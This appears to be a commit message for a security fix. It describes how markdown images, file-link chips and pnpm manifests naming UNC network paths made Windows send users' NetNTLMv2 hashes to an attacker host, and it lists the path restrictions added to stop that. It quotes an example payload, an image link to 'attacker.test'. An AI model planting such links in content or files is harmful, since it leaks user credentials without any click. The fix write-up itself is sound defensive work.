A markdown image such as ![x](file://attacker.test/share/cat.jpg), or a raw
\\host\share path, was classified as a host file. Rendering it asked the
server for a signed asset URL, and the server's realpath on the resulting UNC
path made Windows open an SMB session and send the user's NetNTLMv2 response
to the attacker's host, with no click and no tool call. File-link chips did
the same through filesystem.getMetadata, which stats every absolute path, and
storage cleanup stats the store paths in a worktree's pnpm manifest, which an
agent can write.

Network paths (two leading separators, as Windows reads them: \\h, //h, /\h)
now only resolve inside the thread's project, so projects on a share keep
working:

- clients block them in markdown images and stop treating them as file links
- the web stops asking for their metadata
- the server refuses them for media assets and file reads outside the
  project, never stats one for metadata, and storage cleanup ignores a pnpm
  manifest that names one
- each check hands the filesystem the resolved path it approved, since
  Windows reads a `\\?\` path as written, `..` included

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>